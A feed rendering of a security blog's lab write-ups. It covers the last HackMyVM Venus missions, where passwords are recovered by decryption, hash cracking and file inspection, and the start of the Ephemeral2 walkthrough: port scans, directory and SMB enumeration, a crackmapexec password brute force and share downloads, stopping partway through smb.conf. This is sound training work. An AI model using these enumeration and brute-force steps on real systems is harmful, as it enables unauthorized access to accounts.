&lt;li&gt;&lt;code&gt;id_rsa.pub&lt;/code&gt;：与 &lt;code&gt;id_rsa.pem&lt;/code&gt; 配对的公钥文件，可用于验证使用相应私钥签名的数据或者对数据进行加密。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pass.enc&lt;/code&gt;：一个加密文件，可能包含密码、私钥或其他敏感信息。该文件使用某种加密算法进行了加密处理，需要使用正确的秘钥或密码进行解密才能读取其中的内容。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ openssl rsautl -decrypt -inkey id_rsa.pem -in pass.enc
nbhlQyKuaXGojHx    --得到 adela的密码 nbhlQyKuaXGojHx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;openssl rsautl&lt;/code&gt; 是 OpenSSL 命令行工具中使用 RSA 算法进行加解密操作的命令&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-decrypt&lt;/code&gt;选项 是解密&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-inkey id_rsa.pem&lt;/code&gt; 表示指定使用 &lt;code&gt;id_rsa.pem&lt;/code&gt; 文件中的私钥进行解密操作&lt;/p&gt;
&lt;p&gt;&lt;code&gt;-in pass.enc&lt;/code&gt; 表示要解密的输入文件是 &lt;code&gt;pass.enc&lt;/code&gt;.&lt;/p&gt;
&lt;h4&gt;Mission 0x40&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x40 #
################

## EN ##
User sky has saved her password to something that can be listened to.

## ES ##
La usuaria sky ha guardado su password en algo que puede ser escuchado.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;文件&lt;code&gt;wtf&lt;/code&gt;的内容被莫斯电码加密了&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;.--. .- .--. .- .--. .- .-. .- -.. .. ... .
解密 PAPAPARADISE （要转换成小写papaparadise就是sky的密码）
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Mission 0x41&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x41 #
################

## EN ##
User sarah uses header in http://localhost/key.php

## ES ##
La usuaria sarah utiliza header para http://localhost/key.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;密码在网页 key.php里面&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ curl http://localhost/key.php
Key header is true?
$ curl -H &amp;quot;key:true&amp;quot; http://localhost/key.php
LWOHeRgmIxg7fuS       -- 得到 sarah的密码 LWOHeRgmIxg7fuS
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Mission 0x42&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x42 #
################

## EN ##
The password of mercy is hidden in this directory.

## ES ##
La password de mercy esta oculta en este directorio.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;密码文件隐藏在当前目录下&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ ls -a  发现可疑文件 ...
$ cat ./...
ym5yyXZ163uIS8L       --得到mercy的密码 ym5yyXZ163uIS8L
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Mission 0x43&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x43 #
################

## EN ##
User mercy is always wrong with the password of paula. 

## ES ##
La usuaria mercy siempre se equivoca con la password de paula.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看 mercy 的历史指令&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ cat .bash_history
得到 paula的密码 dlHZ6cvX6cLuL8p
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Mission 0x44&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x44 #
################

## EN ##
The user karla trusts me, she is part of my group of friends. 

## ES ##
La usuaria karla confia en mi, es parte de mi grupo de amigos.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看 karla的组&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ id
uid=1044(paula) gid=1044(paula) groups=1044(paula),1053(hidden)   --hidden组
$ find / -group hidden -type f -exec cat {} \; 2&amp;gt;/dev/null
gYAmvWY3I7yDKRf     -- 得到karla的密码
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Mission 0x45&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x45 #
################

## EN ##
User denise has saved her password in the image.

## ES ##
La usuaria denise ha guardado su password en la imagen.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;密码隐藏在 图片里&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ exiftool yuju.jpg
About  : pFg92DpGucMWccA  -- 得到denise的密码 pFg92DpGucMWccA
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Mission 0x46&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x46 #
################

## EN ##
The user zora is screaming doas!

## ES ##
La usuaria zora no deja de gritar doas!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过搜索可以知道 &lt;strong&gt;Doas是一个开源软件，简化的Unix命令授权系统&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ find / -name doas 2&amp;gt;/dev/null
/usr/share/lintian/overrides/doas
/usr/share/doc/doas
/usr/bin/doas
/etc/pam.d/doas
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有一个可执行的二进制文件 &lt;code&gt;doas -u zora bash&lt;/code&gt;后输入denise的密码 &lt;code&gt;pFg92DpGucMWccA&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;成功登录到 zora的 shell，得到其密码 &lt;code&gt;BWm1R3jCcb53riO&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;Mission 0x47&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x47 #
################

## EN ##
The user belen has left her password in venus.hmv

## ES ##
La usuaria belen ha dejado su password en venus.hmv
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;密码在 网页&lt;code&gt;venus.hmv&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ curl venus.hmv
得到用户belen的密码2jA0E8bQ4WrGwWZ
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Misson 0x48&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x48 #
################

## EN ##
It seems that belen has stolen the password of the user leona...

## ES ##
Parece que belen ha robado el password de la usuaria leona..
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;密码在 stolen.txt&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ cat stolen.txt
$1$leona$lhWp56YnWAMz6z32Bw53L0
$ hashid &amp;#39;$1$leona$lhWp56YnWAMz6z32Bw53L0&amp;#39;
Analyzing &amp;#39;$1$leona$lhWp56YnWAMz6z32Bw53L0&amp;#39;
[+] MD5 Crypt 
[+] Cisco-IOS(MD5) 
[+] FreeBSD MD5   //是哈希MD5
使用john爆破
$ echo &amp;#39;$1$leona$lhWp56YnWAMz6z32Bw53L0&amp;#39;&amp;gt;hash
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
得到 leona的密码 freedom
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Mission 0x49&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x49 #
################

## EN ##
User ava plays a lot with the DNS of venus.hmv lately... 

## ES ##
La usuaria ava juega mucho con el DNS de venus.hmv ultimamente...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;与DNS记录有关&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;nslook和dig都没发现有用的详细
$ ls /etc/bind
$ cat /etc/bind/db.venus.hmv 
在TXT记录里面发现 ava的密码 oCXBeeEeYFX34NU
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Mission 0x50&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x50 #
################

## EN ##
The password of maria is somewhere...

## ES ##
El password de maria esta en algun lugar...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;试了好半天，万万没想到maria的密码是 &lt;code&gt;.--. .- .--. .- .--. .- .-. .- -.. .. ... .&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;Last Mission&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;################
# MISSION 0x51 #
################

## EN ##
Congrats!

## ES ##
Felicidades :)
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hmvlabs/venus/&quot;&gt;https://heathc1iff-sec.github.io/blog/hmvlabs/venus/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Wed, 14 Jan 2026 00:00:00 GMT</pubDate></item><item><title>HMV-Ephemeral2</title><link>https://heathc1iff-sec.github.io/blog/hmvmachines/ephemeral2/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hmvmachines/ephemeral2/</guid><description>Enumeration is key.</description><content:encoded>&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/hmvmachines/Ephemeral2-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;h2&gt;IP定位&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# arp-scan -l | grep &amp;quot;08:00:27&amp;quot;                 
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
192.168.0.102   08:00:27:47:7c:83  
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;nmap指纹&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# nmap -Pn -sTCV -T4 -p0-65535 192.168.0.102
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-13 11:01 EST
Nmap scan report for 192.168.0.102
Host is up (0.00069s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0a:cc:f1:53:7e:6b:31:2c:10:1e:6d:bc:01:b1:c3:a2 (RSA)
|   256 cd:19:04:a0:d1:8a:8b:3d:3e:17:ee:21:5d:cd:6e:49 (ECDSA)
|_  256 e5:6a:27:39:ed:a8:c9:03:46:f2:a5:8c:87:85:44:9e (ED25519)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: 10s
| smb2-time: 
|   date: 2026-01-13T16:01:54
|_  start_date: N/A
|_nbstat: NetBIOS name: EPHEMERAL, NetBIOS user: &amp;lt;unknown&amp;gt;, NetBIOS MAC: &amp;lt;unknown&amp;gt; (unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.31 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;目录扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# dirsearch -u http://192.168.0.102

  _|. _ _  _  _  _ _|_    v0.4.3.post1               
 (_||| _) (/_(_|| (_| )                              
                                                     
Extensions: php, aspx, jsp, html, js
HTTP method: GET | Threads: 25
Wordlist size: 11460

Output File: /home/kali/reports/http_192.168.0.102/_26-01-13_11-05-02.txt

Target: http://192.168.0.102/

[11:05:03] Starting:                                 
[11:05:04] 403 -  278B  - /.ht_wsr.txt
[11:05:04] 403 -  278B  - /.htaccess.bak1
[11:05:04] 403 -  278B  - /.htaccess.orig
[11:05:04] 403 -  278B  - /.htaccess_extra
[11:05:04] 403 -  278B  - /.htaccess_sc
[11:05:04] 403 -  278B  - /.htaccessOLD
[11:05:04] 403 -  278B  - /.html
[11:05:04] 403 -  278B  - /.htm
[11:05:04] 403 -  278B  - /.htaccess.sample
[11:05:04] 403 -  278B  - /.httr-oauth
[11:05:04] 403 -  278B  - /.htpasswd_test
[11:05:04] 403 -  278B  - /.htaccess_orig
[11:05:04] 403 -  278B  - /.htaccessOLD2
[11:05:04] 403 -  278B  - /.htaccess.save
[11:05:04] 403 -  278B  - /.htpasswds
[11:05:04] 403 -  278B  - /.htaccessBAK
[11:05:42] 301 -  319B  - /javascript  -&amp;gt;  http://192.168.0.102/javascript/
[11:06:04] 403 -  278B  - /server-status
[11:06:04] 403 -  278B  - /server-status/

Task Completed   
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# gobuster dir -u http://192.168.0.102 -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x php,txt,html,zip,db,bak,js,yaml -t 64 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.0.102
[+] Method:                  GET
[+] Threads:                 64
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,html,zip,db,bak,js,yaml
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 278]
/index.html           (Status: 200) [Size: 10918]
/javascript           (Status: 301) [Size: 319] [--&amp;gt; http://192.168.0.102/javascript/]                    
/.html                (Status: 403) [Size: 278]
/server-status        (Status: 403) [Size: 278]
/foodservice          (Status: 301) [Size: 320] [--&amp;gt; http://192.168.0.102/foodservice/]                   
Progress: 1985031 / 1985040 (100.00%)
===============================================================
Finished
===============================================================
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;enum4linux扫描&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;──(web)─(root㉿kali)-[/home/kali]
└─# enum4linux 192.168.0.102           

Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Jan 13 11:21:36 2026

 =========================================( Target Information )========================================= 
                                                     
Target ........... 192.168.0.102                     
RID Range ........ 500-550,1000-1050
Username ......... &amp;#39;&amp;#39;
Password ......... &amp;#39;&amp;#39;
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ===========================( Enumerating Workgroup/Domain on 192.168.0.102 )===========================  
                                                     
                                                     
[+] Got domain/workgroup name: WORKGROUP             
                                                     
                                                     
 ===============================( Nbtstat Information for 192.168.0.102 )===============================  
                                                     
Looking up status of 192.168.0.102                   
        EPHEMERAL       &amp;lt;00&amp;gt; -         B &amp;lt;ACTIVE&amp;gt;  Workstation Service
        EPHEMERAL       &amp;lt;03&amp;gt; -         B &amp;lt;ACTIVE&amp;gt;  Messenger Service
        EPHEMERAL       &amp;lt;20&amp;gt; -         B &amp;lt;ACTIVE&amp;gt;  File Server Service
        ..__MSBROWSE__. &amp;lt;01&amp;gt; - &amp;lt;GROUP&amp;gt; B &amp;lt;ACTIVE&amp;gt;  Master Browser
        WORKGROUP       &amp;lt;00&amp;gt; - &amp;lt;GROUP&amp;gt; B &amp;lt;ACTIVE&amp;gt;  Domain/Workgroup Name
        WORKGROUP       &amp;lt;1d&amp;gt; -         B &amp;lt;ACTIVE&amp;gt;  Master Browser
        WORKGROUP       &amp;lt;1e&amp;gt; - &amp;lt;GROUP&amp;gt; B &amp;lt;ACTIVE&amp;gt;  Browser Service Elections

        MAC Address = 00-00-00-00-00-00

 ===================================( Session Check on 192.168.0.102 )=================================== 
                                                     
                                                     
[+] Server 192.168.0.102 allows sessions using username &amp;#39;&amp;#39;, password &amp;#39;&amp;#39;                                   
                                                     
                                                     
 ================================( Getting domain SID for 192.168.0.102 )================================ 
                                                     
Domain Name: WORKGROUP                               
Domain Sid: (NULL SID)

[+] Can&amp;#39;t determine if host is part of domain or part of a workgroup                                      
                                                     
                                                     
 ==================================( OS information on 192.168.0.102 )==================================  
                                                     
                                                     
[E] Can&amp;#39;t get OS info with smbclient                 
                                                     
                                                     
[+] Got OS info for 192.168.0.102 from srvinfo:      
        EPHEMERAL      Wk Sv PrQ Unx NT SNT ephemeral server (Samba, Ubuntu)
        platform_id     :       500
        os version      :       6.1
        server type     :       0x809a03


 =======================================( Users on 192.168.0.102 )======================================= 
                                                     
index: 0x1 RID: 0x3e9 acb: 0x00000010 Account: randyName: randy      Desc: 

user:[randy] rid:[0x3e9]

 =================================( Share Enumeration on 192.168.0.102 )================================= 
                                                     
smbXcli_negprot_smb1_done: No compatible protocol selected by server.

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        SYSADMIN        Disk      
        IPC$            IPC       IPC Service (ephemeral server (Samba, Ubuntu))
        Officejet_Pro_8600_CDECA1_ Printer   
Reconnecting with SMB1 for workgroup listing.
Protocol negotiation to server 192.168.0.102 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 192.168.0.102        
                                                     
//192.168.0.102/print$  Mapping: DENIED Listing: N/A Writing: N/A                                         
//192.168.0.102/SYSADMIN        Mapping: DENIED Listing: N/A Writing: N/A                                 

[E] Can&amp;#39;t understand response:                       
                                                     
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*           
//192.168.0.102/IPC$    Mapping: N/A Listing: N/A Writing: N/A                                            
//192.168.0.102/Officejet_Pro_8600_CDECA1_      Mapping: DENIED Listing: N/A Writing: N/A                 

 ===========================( Password Policy Information for 192.168.0.102 )===========================  
                                                     
                                                     

[+] Attaching to 192.168.0.102 using a NULL share

[+] Trying protocol 139/SMB...

[+] Found domain(s):

        [+] EPHEMERAL
        [+] Builtin

[+] Password Info for Domain: EPHEMERAL

        [+] Minimum password length: 5
        [+] Password history length: None
        [+] Maximum password age: 37 days 6 hours 21 minutes 
        [+] Password Complexity Flags: 000000

                [+] Domain Refuse Password Change: 0
                [+] Domain Password Store Cleartext: 0
                [+] Domain Password Lockout Admins: 0
                [+] Domain Password No Clear Change: 0
                [+] Domain Password No Anon Change: 0
                [+] Domain Password Complex: 0

        [+] Minimum password age: None
        [+] Reset Account Lockout Counter: 30 minutes 
        [+] Locked Account Duration: 30 minutes 
        [+] Account Lockout Threshold: None
        [+] Forced Log off Time: 37 days 6 hours 21 minutes 



[+] Retieved partial password policy with rpcclient: 
                                                     
                                                     
Password Complexity: Disabled                        
Minimum Password Length: 5


 ======================================( Groups on 192.168.0.102 )======================================  
                                                     
                                                     
[+] Getting builtin groups:                          
                                                     
                                                     
[+]  Getting builtin group memberships:              
                                                     
                                                     
[+]  Getting local groups:                           
                                                     
                                                     
[+]  Getting local group memberships:                
                                                     
                                                     
[+]  Getting domain groups:                          
                                                     
                                                     
[+]  Getting domain group memberships:               
                                                     
                                                     
 ==================( Users on 192.168.0.102 via RID cycling (RIDS: 500-550,1000-1050) )================== 
                                                     
                                                     
[I] Found new SID:                                   
S-1-22-1                                             

[I] Found new SID:                                   
S-1-5-32                                             

[I] Found new SID:                                   
S-1-5-32                                             

[I] Found new SID:                                   
S-1-5-32                                             

[I] Found new SID:                                   
S-1-5-32                                             

[+] Enumerating users using SID S-1-5-21-1796334311-1091253459-1090880117 and logon username &amp;#39;&amp;#39;, password &amp;#39;&amp;#39;                                                   
                                                     
S-1-5-21-1796334311-1091253459-1090880117-501 EPHEMERAL\nobody (Local User)
S-1-5-21-1796334311-1091253459-1090880117-513 EPHEMERAL\None (Domain Group)
S-1-5-21-1796334311-1091253459-1090880117-1001 EPHEMERAL\randy (Local User)

[+] Enumerating users using SID S-1-5-32 and logon username &amp;#39;&amp;#39;, password &amp;#39;&amp;#39;                               
                                                     
S-1-5-32-544 BUILTIN\Administrators (Local Group)    
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)

[+] Enumerating users using SID S-1-22-1 and logon username &amp;#39;&amp;#39;, password &amp;#39;&amp;#39;                               
                                                     
S-1-22-1-1000 Unix User\randy (Local User)           
S-1-22-1-1001 Unix User\ralph (Local User)

 ===============================( Getting printer info for 192.168.0.102 )=============================== 
                                                     
        flags:[0x800000]                             
        name:[\\192.168.0.102\Officejet_Pro_8600_CDECA1_]
        description:[\\192.168.0.102\Officejet_Pro_8600_CDECA1_,,]
        comment:[]



enum4linux complete on Tue Jan 13 11:21:56 2026
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;smb爆破&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;crackmapexec smb 192.168.0.102 -u users.txt -p /usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;randy   pogiako
ralph   admin  
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;smb连接&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# smbclient //192.168.0.102/SYSADMIN -U randy
Password for [WORKGROUP\randy]:
Try &amp;quot;help&amp;quot; to get a list of possible commands.

smb: \&amp;gt; ls
  .                                   D        0  Sun Apr 10 21:13:45 2022
  ..                                  D        0  Sun Apr 10 20:36:23 2022
  reminder.txt                        N      193  Sun Apr 10 20:59:06 2022
  smb.conf                            N     9097  Sat Apr  9 16:32:20 2022
  help.txt                            N     4663  Sun Apr 10 20:59:43 2022

                8704372 blocks of size 1024. 0 blocks available
smb: \&amp;gt; get reminder.txt 
getting file \reminder.txt of size 193 as reminder.txt (26.9 KiloBytes/sec) (average 26.9 KiloBytes/sec)
smb: \&amp;gt; get smb.conf 
getting file \smb.conf of size 9097 as smb.conf (201.9 KiloBytes/sec) (average 177.9 KiloBytes/sec)
smb: \&amp;gt; get help.txt 
getting file \help.txt of size 4663 as help.txt (650.5 KiloBytes/sec) (average 234.9 KiloBytes/sec)
smb: \&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# ls
help.txt  reminder.txt  smb.conf  
                                                                                                            
┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# cat help.txt    
8. Accessing an SMB Share With Linux Machines
Linux (UNIX) machines can also browse and mount SMB shares. Note that this can be done whether the server is a Windows machine or a Samba server!

An SMB client program for UNIX machines is included with the Samba distribution. It provides an ftp-like interface on the command line. You can use this utility to transfer files between a Windows &amp;#39;server&amp;#39; and a Linux client.

Most Linux distributions also now include the useful smbfs package, which allows one to mount and umount SMB shares. More on smbfs below.

To see which shares are available on a given host, run:

    /usr/bin/smbclient -L host
where &amp;#39;host&amp;#39; is the name of the machine that you wish to view. this will return a list of &amp;#39;service&amp;#39; names - that is, names of drives or printers that it can share with you. Unless the SMB server has no security configured, it will ask you for a password. Get it the password for the &amp;#39;guest&amp;#39; account or for your personal account on that machine.

For example:

    smbclient -L zimmerman
The output of this command should look something like this:

Server time is Sat Aug 10 15:58:27 1996
Timezone is UTC+10.0
Password: 
Domain=[WORKGROUP] OS=[Windows NT 3.51] Server=[NT LAN Manager 3.51]

Server=[ZIMMERMAN] User=[] Workgroup=[WORKGROUP] Domain=[]

        Sharename      Type      Comment
        ---------      ----      -------
        ADMIN$         Disk      Remote Admin
        public         Disk      Public 
        C$             Disk      Default share
        IPC$           IPC       Remote IPC
        OReilly        Printer   OReilly
        print$         Disk      Printer Drivers


This machine has a browse list:

        Server               Comment
        ---------            -------
        HOPPER               Samba 1.9.15p8
        KERNIGAN             Samba 1.9.15p8
        LOVELACE             Samba 1.9.15p8
        RITCHIE              Samba 1.9.15p8
        ZIMMERMAN            
The browse list shows other SMB servers with resources to share on the network.

To use the client, run:

    /usr/bin/smbclient service &amp;lt;password&amp;gt;
where &amp;#39;service&amp;#39; is a machine and share name. For example, if you are trying to reach a directory that has been shared as &amp;#39;public&amp;#39; on a machine called zimmerman, the service would be called \\zimmerman\public. However, due to shell restrictions, you will need to escape the backslashes, so you end up with something like this:

    /usr/bin/smbclient \\\\zimmerman\\public mypasswd
where &amp;#39;mypasswd&amp;#39; is the literal string of your password.

You will get the smbclient prompt:

Server time is Sat Aug 10 15:58:44 1996
Timezone is UTC+10.0
Domain=[WORKGROUP] OS=[Windows NT 3.51] Server=[NT LAN Manager 3.51]
smb: \&amp;gt; 
Type &amp;#39;h&amp;#39; to get help using smbclient:

smb: \&amp;gt; h
ls             dir            lcd            cd             pwd            
get            mget           put            mput           rename         
more           mask           del            rm             mkdir          
md             rmdir          rd             prompt         recurse        
translate      lowercase      print          printmode      queue          
cancel         stat           quit           q              exit           
newer          archive        tar            blocksize      tarmode        
setmode        help           ?              !              
smb: \&amp;gt; 
If you can use ftp, you shouldn&amp;#39;t need the man pages for smbclient.

Although you can use smbclient for testing, you will soon tire of it for real work. For that you will probably want to use the smbfs package. Smbfs comes with two simple utilties, smbmount and smbumount. They work just like mount and umount for SMB shares.

One important thing to note: You must have smbfs support compiled into your kernel to use these utilities!

The following shows a typical use of smbmount to mount an SMB share called &amp;quot;customers&amp;quot; from a machine called &amp;quot;samba1&amp;quot;:

[root@postel]# smbmount &amp;quot;\\\\samba1\\customers&amp;quot; -U rtg2t -c &amp;#39;mount /customers -u 500 -g 100&amp;#39;
Added interface ip=192.168.35.84 bcast=192.168.255.255 nmask=255.255.0.0
Got a positive name query response from 192.168.168.158 ( 192.168.168.158 )
Server time is Tue Oct  5 10:27:36 1999
Timezone is UTC-4.0
Password:
Domain=[IPM] OS=[Unix] Server=[Samba 2.0.3]
security=user
Issuing a mount command will now show the share mounted, just as if it were an NFS export:

[root@postel]# mount                                                                                                    
/dev/hda2 on / type ext2 (rw)
none on /proc type proc (rw)
none on /dev/pts type devpts (rw,mode=622)
//SAMBA1/CUSTOMERS on /customers type smbfs (0)
                                                                                                            
┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# cat reminder.txt 
Hey randy! I just set up smb like you asked me too. I left a file for you if you ever need help accessing your smb share.
For now all your shares are going to be under [SYSADMIN]

Thank You.


                                                                                                            
┌──(web)─(root㉿kali)-[/home/kali/Desktop/hmv]
└─# cat smb.conf    
#
# Sample configuration file for the Samba suite for Debian GNU/Linux.
#
#
# This is the main Samba configuration file. You should read the
# smb.conf(5) manual page in order to understand the options listed
# here. Samba has a huge number of configurable options most of which 
# are not shown in this example
#
# Some options that are often worth tuning have been included as
# commented-out examples in this file.
#  - When such options are commented with &amp;quot;;&amp;quot;, the proposed setting
#    differs from the default Samba behaviour
#  - When commented with &amp;quot;#&amp;quot;, the proposed setting is the default
#    behaviour of Samba but the option is considered important
#    enough to be mentioned here
#
# NOTE: Whenever you modify this file you should run the command
# &amp;quot;testparm&amp;quot; to check that you have not made any basic syntactic 
# errors. 

#======================= Global Settings =======================

[global]

## Browsing/Identification ###

# Change this to the workgroup/NT-domain name your Samba server will part of
   workgroup = WORKGROUP

# server string is the equivalent of the NT Description field
   server string = %h server (Samba, Ubuntu)

#### Networking ####

# The specific set of interfaces / networks to bind to
# This can be either the interface name or an IP address/netmask;
# interface names are normally preferred
;   interfaces = 127.0.0.0/8 eth0

# Only bind to the named interfaces and/or networks; you must use the
# &amp;#39;interfaces&amp;#39; option above to use this.
# It is recommended that you enable this feature if your Samba machine is
# not protected by a firewall or is a firewall itself.  However, this
# option cannot handle dynamic or non-broadcast interfaces correctly.
;   bind interfaces only = yes



#### Debugging/Accounting ####

# This tells Samba to use a separate log file for each machine
# that connects
   log file = /var/log/samba/log.%m

# Cap the size of the individual log files (in KiB).
   max log size = 1000

# We want Samba to only log to /var/log/samba/log.{smbd,nmbd}.
# Append syslog@1 if you want important messages to be sent to syslog too.
   logging = file

# Do something sensible when Samba crashes: mail the admin a backtrace
   panic action = /usr/share/samba/panic-action %d


####### Authentication #######

# Server role. Defines in which mode Samba will operate. Possible
# values are &amp;quot;standalone server&amp;quot;, &amp;quot;member server&amp;quot;, &amp;quot;classic primary
